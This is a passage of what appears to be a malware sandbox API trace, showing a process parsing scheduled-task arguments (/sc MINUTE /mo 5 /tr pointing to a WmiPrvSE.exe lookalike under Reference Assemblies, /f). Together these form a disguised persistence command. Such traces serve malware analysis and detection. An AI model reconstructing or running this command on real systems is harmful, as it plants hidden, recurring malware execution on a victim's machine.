_BufferCount=0x5, _Format="|%s|", _ArgList=0xbf538 | out: _Buffer="|sc|") returned 4 [0087.538] lstrlenW (lpString="|end|") returned 5 [0087.538] lstrlenW (lpString="|sc|") returned 4 [0087.538] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0087.538] SetLastError (dwErrCode=0x490) [0087.538] lstrlenW (lpString="showsid") returned 7 [0087.538] lstrlenW (lpString="showsid") returned 7 [0087.538] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.538] lstrlenW (lpString="sc") returned 2 [0087.538] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.538] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0xa, _Format="|%s|", _ArgList=0xbf538 | out: _Buffer="|showsid|") returned 9 [0087.538] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf538 | out: _Buffer="|sc|") returned 4 [0087.538] lstrlenW (lpString="|showsid|") returned 9 [0087.538] lstrlenW (lpString="|sc|") returned 4 [0087.538] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0087.538] SetLastError (dwErrCode=0x490) [0087.538] SetLastError (dwErrCode=0x490) [0087.538] SetLastError (dwErrCode=0x0) [0087.538] lstrlenW (lpString="/sc") returned 3 [0087.538] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0087.538] SetLastError (dwErrCode=0x490) [0087.538] SetLastError (dwErrCode=0x0) [0087.538] lstrlenW (lpString="/sc") returned 3 [0087.538] GetProcessHeap () returned 0xe0000 [0087.538] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x8) returned 0xfc3e0 [0087.538] GetProcessHeap () returned 0xe0000 [0087.538] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x20) returned 0xfcdc0 [0087.538] SetLastError (dwErrCode=0x0) [0087.538] SetLastError (dwErrCode=0x0) [0087.538] lstrlenW (lpString="MINUTE") returned 6 [0087.539] lstrlenW (lpString="-/") returned 2 [0087.539] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0087.539] SetLastError (dwErrCode=0x490) [0087.539] SetLastError (dwErrCode=0x490) [0087.539] SetLastError (dwErrCode=0x0) [0087.539] lstrlenW (lpString="MINUTE") returned 6 [0087.539] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0087.539] SetLastError (dwErrCode=0x490) [0087.539] SetLastError (dwErrCode=0x0) [0087.539] lstrlenW (lpString="MINUTE") returned 6 [0087.539] GetProcessHeap () returned 0xe0000 [0087.539] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0xe) returned 0xfc400 [0087.539] GetProcessHeap () returned 0xe0000 [0087.539] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x20) returned 0xfcdf0 [0087.539] SetLastError (dwErrCode=0x0) [0087.539] SetLastError (dwErrCode=0x0) [0087.539] lstrlenW (lpString="/mo") returned 3 [0087.539] lstrlenW (lpString="-/") returned 2 [0087.539] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0087.539] lstrlenW (lpString="?") returned 1 [0087.539] lstrlenW (lpString="?") returned 1 [0087.539] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.539] lstrlenW (lpString="mo") returned 2 [0087.539] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.539] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbf538 | out: _Buffer="|?|") returned 3 [0087.539] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf538 | out: _Buffer="|mo|") returned 4 [0087.539] lstrlenW (lpString="|?|") returned 3 [0087.539] lstrlenW (lpString="|mo|") returned 4 [0087.539] SetLastError (dwErrCode=0x490) [0087.539] lstrlenW (lpString="create") returned 6 [0087.540] lstrlenW (lpString="create") returned 6 [0087.540] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.540] lstrlenW (lpString="mo") returned 2 [0087.540] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.540] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf538 | out: _Buffer="|create|") returned 8 [0087.540] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf538 | out: _Buffer="|mo|") returned 4 [0087.540] lstrlenW (lpString="|create|") returned 8 [0087.540] lstrlenW (lpString="|mo|") returned 4 [0087.540] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0087.540] SetLastError (dwErrCode=0x490) [0087.540] lstrlenW (lpString="delete") returned 6 [0087.540] lstrlenW (lpString="delete") returned 6 [0087.540] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.540] lstrlenW (lpString="mo") returned 2 [0087.540] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.540] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf538 | out: _Buffer="|delete|") returned 8 [0087.540] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf538 | out: _Buffer="|mo|") returned 4 [0087.540] lstrlenW (lpString="|delete|") returned 8 [0087.540] lstrlenW (lpString="|mo|") returned 4 [0087.540] StrStrIW (lpFirst="|delete|", lpSrch="|mo|") returned 0x0 [0087.540] SetLastError (dwErrCode=0x490) [0087.540] lstrlenW (lpString="query") returned 5 [0087.540] lstrlenW (lpString="query") returned 5 [0087.540] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.540] lstrlenW (lpString="mo") returned 2 [0087.540] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.540] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0x8, _Format="|%s|", _ArgList=0xbf538 | out: _Buffer="|query|") returned 7 [0087.540] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf538 | out: _Buffer="|mo|") returned 4 [0087.540] lstrlenW (lpString="|query|") returned 7 [0087.541] lstrlenW (lpString="|mo|") returned 4 [0087.541] StrStrIW (lpFirst="|query|", lpSrch="|mo|") returned 0x0 [0087.541] SetLastError (dwErrCode=0x490) [0087.541] lstrlenW (lpString="change") returned 6 [0087.541] lstrlenW (lpString="change") returned 6 [0087.541] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.541] lstrlenW (lpString="mo") returned 2 [0087.541] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.541] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf538 | out: _Buffer="|change|") returned 8 [0087.541] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf538 | out: _Buffer="|mo|") returned 4 [0087.541] lstrlenW (lpString="|change|") returned 8 [0087.541] lstrlenW (lpString="|mo|") returned 4 [0087.541] StrStrIW (lpFirst="|change|", lpSrch="|mo|") returned 0x0 [0087.541] SetLastError (dwErrCode=0x490) [0087.541] lstrlenW (lpString="run") returned 3 [0087.541] lstrlenW (lpString="run") returned 3 [0087.541] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.541] lstrlenW (lpString="mo") returned 2 [0087.541] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.541] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0x6, _Format="|%s|", _ArgList=0xbf538 | out: _Buffer="|run|") returned 5 [0087.541] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf538 | out: _Buffer="|mo|") returned 4 [0087.541] lstrlenW (lpString="|run|") returned 5 [0087.541] lstrlenW (lpString="|mo|") returned 4 [0087.541] StrStrIW (lpFirst="|run|", lpSrch="|mo|") returned 0x0 [0087.541] SetLastError (dwErrCode=0x490) [0087.541] lstrlenW (lpString="end") returned 3 [0087.541] lstrlenW (lpString="end") returned 3 [0087.541] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.541] lstrlenW (lpString="mo") returned 2 [0087.541] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.542] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0x6, _Format="|%s|", _ArgList=0xbf538 | out: _Buffer="|end|") returned 5 [0087.542] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf538 | out: _Buffer="|mo|") returned 4 [0087.542] lstrlenW (lpString="|end|") returned 5 [0087.542] lstrlenW (lpString="|mo|") returned 4 [0087.542] StrStrIW (lpFirst="|end|", lpSrch="|mo|") returned 0x0 [0087.542] SetLastError (dwErrCode=0x490) [0087.542] lstrlenW (lpString="showsid") returned 7 [0087.542] lstrlenW (lpString="showsid") returned 7 [0087.542] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.542] lstrlenW (lpString="mo") returned 2 [0087.542] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.542] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0xa, _Format="|%s|", _ArgList=0xbf538 | out: _Buffer="|showsid|") returned 9 [0087.542] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf538 | out: _Buffer="|mo|") returned 4 [0087.542] lstrlenW (lpString="|showsid|") returned 9 [0087.542] lstrlenW (lpString="|mo|") returned 4 [0087.542] StrStrIW (lpFirst="|showsid|", lpSrch="|mo|") returned 0x0 [0087.542] SetLastError (dwErrCode=0x490) [0087.542] SetLastError (dwErrCode=0x490) [0087.542] SetLastError (dwErrCode=0x0) [0087.542] lstrlenW (lpString="/mo") returned 3 [0087.542] StrChrIW (lpStart="/mo", wMatch=0x3a) returned 0x0 [0087.542] SetLastError (dwErrCode=0x490) [0087.542] SetLastError (dwErrCode=0x0) [0087.542] lstrlenW (lpString="/mo") returned 3 [0087.542] GetProcessHeap () returned 0xe0000 [0087.542] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x8) returned 0xfc420 [0087.542] GetProcessHeap () returned 0xe0000 [0087.542] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x20) returned 0xfce20 [0087.542] SetLastError (dwErrCode=0x0) [0087.542] SetLastError (dwErrCode=0x0) [0087.542] lstrlenW (lpString="5") returned 1 [0087.542] SetLastError (dwErrCode=0x490) [0087.543] SetLastError (dwErrCode=0x0) [0087.543] lstrlenW (lpString="5") returned 1 [0087.543] StrChrIW (lpStart="5", wMatch=0x3a) returned 0x0 [0087.543] SetLastError (dwErrCode=0x490) [0087.543] SetLastError (dwErrCode=0x0) [0087.543] lstrlenW (lpString="5") returned 1 [0087.543] GetProcessHeap () returned 0xe0000 [0087.543] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x4) returned 0xfc440 [0087.543] GetProcessHeap () returned 0xe0000 [0087.543] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x20) returned 0xfce50 [0087.543] SetLastError (dwErrCode=0x0) [0087.543] SetLastError (dwErrCode=0x0) [0087.543] lstrlenW (lpString="/tr") returned 3 [0087.543] lstrlenW (lpString="-/") returned 2 [0087.543] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0087.543] lstrlenW (lpString="?") returned 1 [0087.543] lstrlenW (lpString="?") returned 1 [0087.543] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.543] lstrlenW (lpString="tr") returned 2 [0087.543] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.543] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbf538 | out: _Buffer="|?|") returned 3 [0087.543] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf538 | out: _Buffer="|tr|") returned 4 [0087.543] lstrlenW (lpString="|?|") returned 3 [0087.543] lstrlenW (lpString="|tr|") returned 4 [0087.543] SetLastError (dwErrCode=0x490) [0087.543] lstrlenW (lpString="create") returned 6 [0087.543] lstrlenW (lpString="create") returned 6 [0087.543] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.543] lstrlenW (lpString="tr") returned 2 [0087.543] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.544] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf538 | out: _Buffer="|create|") returned 8 [0087.544] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf538 | out: _Buffer="|tr|") returned 4 [0087.544] lstrlenW (lpString="|create|") returned 8 [0087.544] lstrlenW (lpString="|tr|") returned 4 [0087.544] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0087.544] SetLastError (dwErrCode=0x490) [0087.544] lstrlenW (lpString="delete") returned 6 [0087.544] lstrlenW (lpString="delete") returned 6 [0087.544] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.544] lstrlenW (lpString="tr") returned 2 [0087.544] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.544] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf538 | out: _Buffer="|delete|") returned 8 [0087.544] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf538 | out: _Buffer="|tr|") returned 4 [0087.544] lstrlenW (lpString="|delete|") returned 8 [0087.544] lstrlenW (lpString="|tr|") returned 4 [0087.544] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0087.544] SetLastError (dwErrCode=0x490) [0087.544] lstrlenW (lpString="query") returned 5 [0087.544] lstrlenW (lpString="query") returned 5 [0087.544] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.544] lstrlenW (lpString="tr") returned 2 [0087.544] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.544] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0x8, _Format="|%s|", _ArgList=0xbf538 | out: _Buffer="|query|") returned 7 [0087.544] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf538 | out: _Buffer="|tr|") returned 4 [0087.544] lstrlenW (lpString="|query|") returned 7 [0087.544] lstrlenW (lpString="|tr|") returned 4 [0087.544] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0087.544] SetLastError (dwErrCode=0x490) [0087.544] lstrlenW (lpString="change") returned 6 [0087.544] lstrlenW (lpString="change") returned 6 [0087.544] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.545] lstrlenW (lpString="tr") returned 2 [0087.545] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.545] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf538 | out: _Buffer="|change|") returned 8 [0087.545] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf538 | out: _Buffer="|tr|") returned 4 [0087.545] lstrlenW (lpString="|change|") returned 8 [0087.545] lstrlenW (lpString="|tr|") returned 4 [0087.545] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0087.545] SetLastError (dwErrCode=0x490) [0087.545] lstrlenW (lpString="run") returned 3 [0087.545] lstrlenW (lpString="run") returned 3 [0087.545] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.545] lstrlenW (lpString="tr") returned 2 [0087.545] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.545] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0x6, _Format="|%s|", _ArgList=0xbf538 | out: _Buffer="|run|") returned 5 [0087.545] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf538 | out: _Buffer="|tr|") returned 4 [0087.545] lstrlenW (lpString="|run|") returned 5 [0087.545] lstrlenW (lpString="|tr|") returned 4 [0087.545] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0087.545] SetLastError (dwErrCode=0x490) [0087.545] lstrlenW (lpString="end") returned 3 [0087.545] lstrlenW (lpString="end") returned 3 [0087.545] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.545] lstrlenW (lpString="tr") returned 2 [0087.545] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.545] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0x6, _Format="|%s|", _ArgList=0xbf538 | out: _Buffer="|end|") returned 5 [0087.545] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf538 | out: _Buffer="|tr|") returned 4 [0087.545] lstrlenW (lpString="|end|") returned 5 [0087.545] lstrlenW (lpString="|tr|") returned 4 [0087.545] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0087.545] SetLastError (dwErrCode=0x490) [0087.545] lstrlenW (lpString="showsid") returned 7 [0087.546] lstrlenW (lpString="showsid") returned 7 [0087.546] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.546] lstrlenW (lpString="tr") returned 2 [0087.546] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.546] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0xa, _Format="|%s|", _ArgList=0xbf538 | out: _Buffer="|showsid|") returned 9 [0087.546] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf538 | out: _Buffer="|tr|") returned 4 [0087.546] lstrlenW (lpString="|showsid|") returned 9 [0087.546] lstrlenW (lpString="|tr|") returned 4 [0087.546] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0087.546] SetLastError (dwErrCode=0x490) [0087.546] SetLastError (dwErrCode=0x490) [0087.546] SetLastError (dwErrCode=0x0) [0087.546] lstrlenW (lpString="/tr") returned 3 [0087.546] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0087.546] SetLastError (dwErrCode=0x490) [0087.546] SetLastError (dwErrCode=0x0) [0087.546] lstrlenW (lpString="/tr") returned 3 [0087.546] GetProcessHeap () returned 0xe0000 [0087.546] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x8) returned 0xfc460 [0087.546] GetProcessHeap () returned 0xe0000 [0087.546] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x20) returned 0xfce80 [0087.546] SetLastError (dwErrCode=0x0) [0087.546] SetLastError (dwErrCode=0x0) [0087.546] lstrlenW (lpString="'C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\WmiPrvSE.exe'") returned 68 [0087.546] lstrlenW (lpString="-/") returned 2 [0087.546] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0087.546] SetLastError (dwErrCode=0x490) [0087.546] SetLastError (dwErrCode=0x490) [0087.546] SetLastError (dwErrCode=0x0) [0087.546] lstrlenW (lpString="'C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\WmiPrvSE.exe'") returned 68 [0087.546] StrChrIW (lpStart="'C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\WmiPrvSE.exe'", wMatch=0x3a) returned=":\\Program Files (x86)\\Reference Assemblies\\Microsoft\\WmiPrvSE.exe'" [0087.547] lstrlenW (lpString="'C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\WmiPrvSE.exe'") returned 68 [0087.547] GetProcessHeap () returned 0xe0000 [0087.547] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x18) returned 0xfc480 [0087.547] _memicmp (_Buf1=0xfc480, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.547] GetProcessHeap () returned 0xe0000 [0087.547] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0xe) returned 0xfc4a0 [0087.547] GetProcessHeap () returned 0xe0000 [0087.547] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x18) returned 0xfd650 [0087.547] _memicmp (_Buf1=0xfd650, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.547] GetProcessHeap () returned 0xe0000 [0087.547] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x8c) returned 0xfde20 [0087.547] SetLastError (dwErrCode=0x7a) [0087.547] SetLastError (dwErrCode=0x0) [0087.547] SetLastError (dwErrCode=0x0) [0087.547] lstrlenW (lpString="'C") returned 2 [0087.547] lstrlenW (lpString="-/") returned 2 [0087.547] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0087.547] SetLastError (dwErrCode=0x490) [0087.547] SetLastError (dwErrCode=0x490) [0087.547] SetLastError (dwErrCode=0x0) [0087.547] lstrlenW (lpString="'C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\WmiPrvSE.exe'") returned 68 [0087.547] GetProcessHeap () returned 0xe0000 [0087.547] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x8a) returned 0xfdec0 [0087.547] GetProcessHeap () returned 0xe0000 [0087.547] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x20) returned 0xfceb0 [0087.547] SetLastError (dwErrCode=0x0) [0087.547] SetLastError (dwErrCode=0x0) [0087.547] lstrlenW (lpString="/f") returned 2 [0087.547] lstrlenW (lpString="-/") returned 2 [0087.547] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0087.547] lstrlenW (lpString="?") returned 1 [0087.547] lstrlenW (lpString="?") returned 1 [0087.547] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.547] lstrlenW (lpString="f") returned 1 [0087.548] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.548] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbf538 | out: _Buffer="|?|") returned 3 [0087.548] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbf538 | out: _Buffer="|f|") returned 3 [0087.548] lstrlenW (lpString="|?|") returned 3 [0087.548] lstrlenW (lpString="|f|") returned 3 [0087.548] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0087.548] SetLastError (dwErrCode=0x490) [0087.548] lstrlenW (lpString="create") returned 6 [0087.548] lstrlenW (lpString="create") returned 6 [0087.548] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.548] lstrlenW (lpString="f") returned 1 [0087.548] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.548] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf538 | out: _Buffer="|create|") returned 8 [0087.548] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbf538 | out: _Buffer="|f|") returned 3 [0087.548] lstrlenW (lpString="|create|") returned 8 [0087.548] lstrlenW (lpString="|f|") returned 3 [0087.548] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0087.548] SetLastError (dwErrCode=0x490) [0087.548] lstrlenW (lpString="delete") returned 6 [0087.548] lstrlenW (lpString="delete") returned 6 [0087.548] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.548] lstrlenW (lpString="f") returned 1 [0087.548] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.548] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf538 | out: _Buffer="|delete|") returned 8 [0087.548] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbf538 | out: _Buffer="|f|") returned 3 [0087.548] lstrlenW (lpString="|delete|") returned 8 [0087.548] lstrlenW (lpString="|f|") returned 3 [0087.548] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0087.548] SetLastError (dwErrCode=0x490) [0087.549] lstrlenW (lpString="query") returned 5 [0087.549] lstrlenW (lpString="query") returned 5 [0087.549] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.549] lstrlenW (lpString="f") returned 1 [0087.549] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.549] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0x8, _Format="|%s|", _ArgList=0xbf538 | out: _Buffer="|query|") returned 7 [0087.549] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbf538 | out: _Buffer="|f|") returned 3 [0087.549] lstrlenW (lpString="|query|") returned 7 [0087.549] lstrlenW (lpString="|f|") returned 3 [0087.549] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0087.549] SetLastError (dwErrCode=0x490) [0087.549] lstrlenW (lpString="change") returned 6 [0087.549] lstrlenW (lpString="change") returned 6 [0087.549] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.549] lstrlenW (lpString="f") returned 1 [0087.549] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.549] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf538 | out: _Buffer="|change|") returned 8 [0087.549] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbf538 | out: _Buffer="|f|") returned 3 [0087.549] lstrlenW (lpString="|change|") returned 8 [0087.549] lstrlenW (lpString="|f|") returned 3 [0087.549] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0087.549] SetLastError (dwErrCode=0x490) [0087.549] lstrlenW (lpString="run") returned 3 [0087.549] lstrlenW (lpString="run") returned 3 [0087.549] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.549] lstrlenW (lpString="f") returned 1 [0087.549] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.549] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0x6, _Format="|%s|", _ArgList=0xbf538 | out: _Buffer="|run|") returned 5 [0087.549] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbf538 | out: _Buffer="|f|") returned 3 [0087.550] lstrlenW (lpString="|run|") returned 5 [0087.550] lstrlenW (lpString="|f|") returned 3 [0087.550] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0087.550] SetLastError (dwErrCode=0x490) [0087.550] lstrlenW (lpString="end") returned 3 [0087.550] lstrlenW (lpString="end") returned 3 [0087.550] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.550] lstrlenW (lpString="f") returned 1 [0087.550] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.550] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0x6, _Format="|%s|", _ArgList=0xbf538 | out: _Buffer="|end|") returned 5 [0087.550] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbf538 | out: _Buffer="|f|") returned 3 [0087.550] lstrlenW (lpString="|end|") returned 5 [0087.550] lstrlenW (lpString="|f|") returned 3 [0087.550] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0087.550] SetLastError (dwErrCode=0x490) [0087.550] lstrlenW (lpString="showsid") returned 7 [0087.550] lstrlenW (lpString="showsid") returned 7 [0087.550] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.550] lstrlenW (lpString="f") returned 1 [0087.550] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.550] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0xa, _Format="|%s|", _ArgList=0xbf538 | out: _Buffer="|showsid|") returned 9 [0087.550] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbf538 | out: _Buffer="|f|") returned 3 [0087.550] lstrlenW (lpString="|showsid|") returned 9 [0087.550] lstrlenW (lpString="|f|") returned 3 [0087.550] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 